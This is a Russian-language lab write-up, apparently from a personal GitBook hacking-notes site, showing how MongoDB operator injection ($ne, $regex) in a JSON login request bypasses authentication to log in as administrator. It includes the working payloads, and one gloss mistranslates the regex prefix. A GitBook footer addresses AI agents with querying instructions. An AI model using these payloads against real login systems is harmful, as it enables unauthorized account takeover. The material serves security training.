> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).

# Обход аутентификации через внедрение в контроллеры NoSQL

### Эксплуатация внедрения операторов NoSQL для обхода аутентификации

**Сведения о лабораторной работе**

Функциональность подключения в этой лабораторной работе основана на базе данных **MongoDB (NoSQL)**. / Она уязвима к \*\*NoSQL-инъекциям через операторы MongoDB\*\*.

\*\* Цель:\*\*/ Подключиться к приложению как **пользователь `administrator`** не зная его пароля.

Предоставлены действительные учетные данные для стандартного пользователя:

* **wiener : peter**

<figure><img src="/files/f4b42e69fc3be88031db7c47a6bc83c3839a44c5" alt=""><figcaption></figcaption></figure>

**Поведение формы входа**

Присутствует панель входа. / Запрос, отправляемый на сервер через **POST** имеет формат JSON:

```json
{
    "username":"wiener",
    "password":"peter"
}
```

**Попытка внедрения с `$ne` оператором**

Первая идея — заставить администратора пройти аутентификацию, указав, что его пароль отличается от x

```json
{
  "username": "administrator",
  "password": { "$ne": "x" }
}
```

Эта попытка **не работает** в данном конкретном случае.

<figure><img src="/files/a7a46485a544221db3a1e1b4d829e6b684488224" alt=""><figcaption></figcaption></figure>

**Обход с помощью оператора `$regex`**

Внедрение возможно с помощью **`$regex`** оператора, который позволяет сопоставлять шаблоны в полях.

**Пример, работающий с пользователем wiener**

```json
{
  "username": {
    "$regex": "wie.*"
  },
  "password":  "peter"
}
```

Этот запрос соответствует любому пользователю, имя которого начинается с `wie`.

**Доступ в качестве администратора без пароля**

Не зная пароль администратора, можно использовать следующую комбинацию:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "x"
  }
}
```

\*\* Логическая интерпретация:\*\*

> « Дайте мне пользователя, имя которого начинается с **файл**/ и чей пароль **не равен x** »

**Результат**

Сервер принимает запрос и отвечает **302 Found**, что указывает на успешную аутентификацию.

Возвращается новый cookie сеанса:

`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`

<figure><img src="/files/ad42a9e253c93b2b256c9aa946923da500e4f08c" alt=""><figcaption></figcaption></figure>

Доступ к приложению теперь осуществляется как администратор\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
